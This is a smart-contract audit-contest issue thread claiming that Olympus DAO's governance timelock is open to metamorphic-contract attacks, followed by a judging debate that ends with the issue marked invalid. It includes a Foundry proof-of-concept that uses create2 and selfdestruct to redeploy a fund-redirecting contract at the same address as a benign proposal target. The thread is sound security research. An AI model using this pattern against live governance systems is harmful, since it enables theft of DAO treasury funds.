IllIllI - Proposals are vulnerable to metamorphic attacks

[sherlock-admin]

IllIllI

medium

Proposals are vulnerable to metamorphic attacks

Summary

Proposals are vulnerable to metamorphic attacks where create2()/selfdestruct() are used to completely re-write proposal actions right before execution

Vulnerability Detail

The timelock does not ensure that the code at the address of the target of the timelock's transaction hasn't changed since being proposed.

Impact

An attacker can completely rewrite the backing logic of a proposal's external calls, as was seen in the tornado governance attack, or by creating a create2()'d contract with a payable fallback() at the destination of an Eth transfer of part of a proposal

Code Snippet

The target's code is not included in what's hashed:

// File: src/external/governance/Timelock.sol : Timelock.queueTransaction()   #1

118:           bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L108-L118

and target passed in to the execution function is not verified to have the same code as during the proposal:

// File: src/external/governance/Timelock.sol : Timelock.executeTransaction()   #2

164            // solium-disable-next-line security/no-call-value
165:           (bool success, bytes memory returnData) = target.call{value: value}(callData);

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L164-L165

Tool used

Manual Review

Recommendation

Include the target address' code in what's hashed

[sherlock-admin2]

1 comment(s) were left on this issue during the judging contest.

haxatron commented:

Invalid. Interesting, but this is not limited to metamorphic contracts but proxy contracts too and is therefore an inherent risk in all DAOs. In addition the Tornado hack involved delegatecall whereas Bravo implementation just makes an external call.

[0xLienid]

near impossible to fix the proxy contract case, but we will add a codehash check anyways to at least reduce the surface area

[nevillehuang]

Request poc

[sherlock-admin]

PoC requested from @IllIllI000

Requests remaining: 6

[IllIllI000]

Please read through steps 1-5:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

// code modified from https://github.com/pcaversaccio/tornado-cash-exploit/blob/main/test/MetamorphicContract.t.sol

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";

contract DistributeFundsEqually {

    function distributeFunds(address alice, uint256 aAmount, address bob, uint256 bAmount, address carol, uint256 cAmount) public payable {
        console.log("Sending funds to alice, bob, carol");
    }

    function cleanUp() public {
        selfdestruct(payable(address(0)));
    }
}

contract GiveAllFundsToAttacker {
    address private attacker;

    constructor(address a_) {
        attacker = a_;
    }

    function distributeFunds(address alice, uint256 aAmount, address bob, uint256 bAmount, address carol, uint256 cAmount) public payable {
        console.log("Sending _all_ funds to the attacker instead ", attacker);
    }
}

contract Factory {
    function helloA() public returns (address) {
        return address(new DistributeFundsEqually());
    }

    function helloB() public returns (address) {
        return address(new GiveAllFundsToAttacker(address(0x1337)));
    }

    function cleanUp() public {
        selfdestruct(payable(address(0)));
    }
}

contract MetamorphicContract is Test {
    DistributeFundsEqually private a;
    Factory private factory;

    function setUp() public {
        /** Step 1: deploy original contract that everyone will look at for the proposal. Nobody has to know about the factory, and it won't have verified source on etherscan **/
        factory = new Factory{salt: keccak256(abi.encode("random"))}();
        a = DistributeFundsEqually(factory.helloA());

        /** Step 2: create a proposal that will call a.distributeFunds(), with funds transferred from the OHM Kernel TRSRY module, to each of the listed recipients with the specified values **/
        // will use vm.deal() and a direct call, rather than doing the proposal setup stuff in this test

        /** Step 3: wait for the proposal to pass **/

        /** Step 4a: selfdestruct things to a new attacker contract can be created at the same address as the original DistributeFundsEqually contract **/
        /// @dev Call `selfdestruct` during the `setUp` call (see https://github.com/foundry-rs/foundry/issues/1543).
        a.cleanUp();
        factory.cleanUp();
    }

    function testMorphingContract() public {
        /// @dev Verify that the code was destroyed during the `setUp` call.
        assertEq(address(a).code.length, 0);
        assertEq(address(factory).code.length, 0);

        /** Step 4b: create the new GiveAllFundsToAttacker contract at the same address as the original DistributeFundsEqually contract **/
        /// @dev Redeploy the factory contract at the same address.
        factory = new Factory{salt: keccak256(abi.encode("random"))}();
        /// @dev Deploy another logic contract at the same address as previously contract `a`.
        GiveAllFundsToAttacker b = GiveAllFundsToAttacker(factory.helloB());
        assertEq(address(a), address(b));

        /** Step 5: execute() the proposal, seeing that all funds get sent to the attacker **/
        vm.deal(address(this), 99 ether);
        a.distributeFunds{value: 99}(address(0x0a), 33 ether, address(0x0b), 33 ether, address(0x0c), 33 ether);
    }
}

output:

Running 1 test for src/test/Test.t.sol:MetamorphicContract
[PASS] testMorphingContract() (gas: 528012)
Logs:
  Sending _all_ funds to the attacker instead  0x0000000000000000000000000000000000001337

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.14ms

[nevillehuang]

@IllIllI000 Thanks, wow, just interested what is the fix to this issue? Wouldn't this be applicable to all governance protocols? Would be good to see some example on how certain governance protocols prevents this.

[IllIllI000]

The duplicate #56 points to MakerDAO as having this protection of checking the extcodehash

[nevillehuang]

@IllIllI000 Thanks, I believe this could possibly be even high severity if the target address is in the power of the proposer, or don't even have to be so, given the ability to front-run on mainnet.

[0xLienid]

Fix: https://github.com/OlympusDAO/bophades/pull/300

[nevillehuang]

Based on discussions here and comments by sponsor here, I believe this issue consitutes high severity. What do you think @Czar102?

[IllIllI000]

The PR properly tracks each target's extcodehash and reverts if it has changed, preventing the attack. The code stores the extcodehash of each target during proposal creation, and during execution, passes it to the timelock for verification. A new revert error is introduced for this error case. A new utility library is introduced so that both the timelock and the delegate can use the same code for looking up the extcodehash. Using selfdestruct() in a constructor won't be usable in any attack, since the proposal block is guaranteed to be in a different block than execution. Note that the hash will change if the target was an unused address during proposal creation, but is later sent funds, due to how eip 161 (and therefore extcodehash) determines an 'empty' account. A change in the hash can be prevented by sending one wei to such addresses before proposal creation. This is a valid design decision.

[0xLogos]

Interesting, but isn't the whole attack based on social engineering? The fact that contract was deployed through unverified factory quite noticable and some social engeeniring is needed to somehow disguise it.

[0xf1b0]

Escalate

Invalid.

The Tornado and MakerDAO cases are different. Both utilize delegatecall, which means that a proposal target contract is executed in the context of the governor on its behalf.

https://github.com/coinspect/learn-evm-attacks/tree/master/test/Business_Logic/TornadoCash_Governance#context-of-execution https://github.com/dapphub/ds-pause/blob/0763eafcf926fd2e073aee5f047f3decb842231c/src/pause.sol#L97 https://github.com/dapphub/ds-proxy/blob/4299be40d5a76c02e690db055281d476a460a38b/src/proxy.sol#L64

In contrast, the Olympus governor contract employs call.

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L164-L165

Consequently, it's merely a straightforward call to another contract that lacks any authorization rights over the protocol. This contract cannot perform any actions requiring additional permissions, it doesn't have access to the protocol funds, and selfdestruct won't cause any harm to the timelock.

The POC demonstrates that a malicious actor creates a contract intended to distribute funds. Once the proposal is accepted, the contract changes its behavior to alter the distribution receivers. However, to distribute the funds, the contract must possess these funds. If an attacker controls the contract, they already control these funds and own them. Therefore, there is no need to create a proposal; they can simply transfer the funds wherever they wish.

This scenario does not have any impact on the Olympus protocol, and I believe the proposed fix is unnecessary.

[sherlock-admin2]

Escalate

Invalid.

The Tornado and MakerDAO cases are different. Both utilize delegatecall, which means that a proposal target contract is executed in the context of the governor on its behalf.

https://github.com/coinspect/learn-evm-attacks/tree/master/test/Business_Logic/TornadoCash_Governance#context-of-execution https://github.com/dapphub/ds-pause/blob/0763eafcf926fd2e073aee5f047f3decb842231c/src/pause.sol#L97 https://github.com/dapphub/ds-proxy/blob/4299be40d5a76c02e690db055281d476a460a38b/src/proxy.sol#L64

In contrast, the Olympus governor contract employs call.

https://github.com/sherlock-audit/2024-01-olympus-on-chain-governance/blob/main/bophades/src/external/governance/Timelock.sol#L164-L165

Consequently, it's merely a straightforward call to another contract that lacks any authorization rights over the protocol. This contract cannot perform any actions requiring additional permissions, it doesn't have access to the protocol funds, and selfdestruct won't cause any harm to the timelock.

The POC demonstrates that a malicious actor creates a contract intended to distribute funds. Once the proposal is accepted, the contract changes its behavior to alter the distribution receivers. However, to distribute the funds, the contract must possess these funds. If an attacker controls the contract, they already control these funds and own them. Therefore, there is no need to create a proposal; they can simply transfer the funds wherever they wish.

This scenario does not have any impact on the Olympus protocol, and I believe the proposed fix is unnecessary.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[IllIllI000]

The timelock is given permission to remove the funds from TRSRY for proposals for DAI etc, and passes them via the payable function to a call with value to the target, or an ERC20 transfer to the distributor contract, which then distributes, so it's not true that the attacker already controls the funds

[0xf1b0]

In this case, the timelock should transfer funds directly to the end recipients. The scenario you are trying to describe is more like a scam: "Transfer me funds, and I promise to transfer them to the right place."

[IllIllI000]

That is the bug - that a smart contract is assumed to be immutable and can be trusted to perform the coded operations, but can't be. With the fix, it becomes immutable. If you force a timelock to do all operations, if there are too many steps to do in one txn (e.g. distribute funds to all holders), then you have to have many many proposals, rather than just one to a merkle tree distributor contract.

[0xLogos]

Would like to note that seems like target is supposed to be owned or managed by timelock, not to be eth distributor.

[0xf1b0]

Just the first program on Immunefi I found that contains a governance contract in its scope and utilizes call during execution.

https://immunefi.com/bounty/inversefinance/ https://etherscan.io/address/0xbeccb6bb0aa4ab551966a7e4b97cec74bb359bf6#code#F1#L233 https://etherscan.io/address/0x926dF14a23BE491164dCF93f4c468A50ef659D5B#code#F1#L80

There is no check for code changes. Feel free to report it.

However, I believe that there is no way the protocol will distribute funds through an untrusted contract.

[blutorque]

The timelock is given permission to remove the funds from TRSRY for proposals for DAI etc, and passes them via the payable function to a call with value to the target, or an ERC20 transfer to the distributor contract, which then distributes, so it's not true that the attacker already controls the funds

Given that it considers the timelock is permission to move funds from treasury, they're still not eligible to move them directly. Because the funds actually been transferred from the msg.sender in the Governor bravo contract -> timelock(as payable) -> target.

And as the @0xf1b0 mentioned, your case required timelock to send funds directly, which I don't think possible. see issue #83

[0xf1b0]

Furthermore, neither the Compound's governor contract, which served as a reference, nor the OpenZeppelin implementation includes a check for code changes. What sets this case apart?

[0xLienid]

imo I think this is valid and risky. you do see such checks in other governance contracts and could be severe if you change logic to transfer treasury ERC20s to oneself.

[Czar102]

The fact that the contract being executed as a governance call can be built in a way to rug the DAO doesn't imply that it's a smart contract security vulnerability – it's simply a malicious contract. The team needs to check implementations if they are malicious and it doesn't matter if the change in behavior comes from changing the storage using an admin function the DAO has control over or matamorphic properties.

Planning to accept the escalation and consider this issue invalid.

[IllIllI000]

@Czar102 When you say 'the team', once the DAO distributes tokens, the team no longer has control (outside of veto power, which is planned to be relinquished via an in-scope mechanism), and it's up to random anonymous holders to vote on proposals to pass. Do you mean that it's not a security vulnerability even if they all must individually check for a malicious contract?

[Czar102]

Yes, it's voters' responsibility. In the end, the contracts they interact with can have malicious code as well. Metamorphism doesn't change anything. Verifying extcodehash is just a sanity check, from my understanding.

[IllIllI000]

Fair enough, thanks for the explanation

[Czar102]

Result: Invalid Has duplicates

[sherlock-admin]

Escalations have been resolved successfully!

Escalation status:

• 0xf1b0: accepted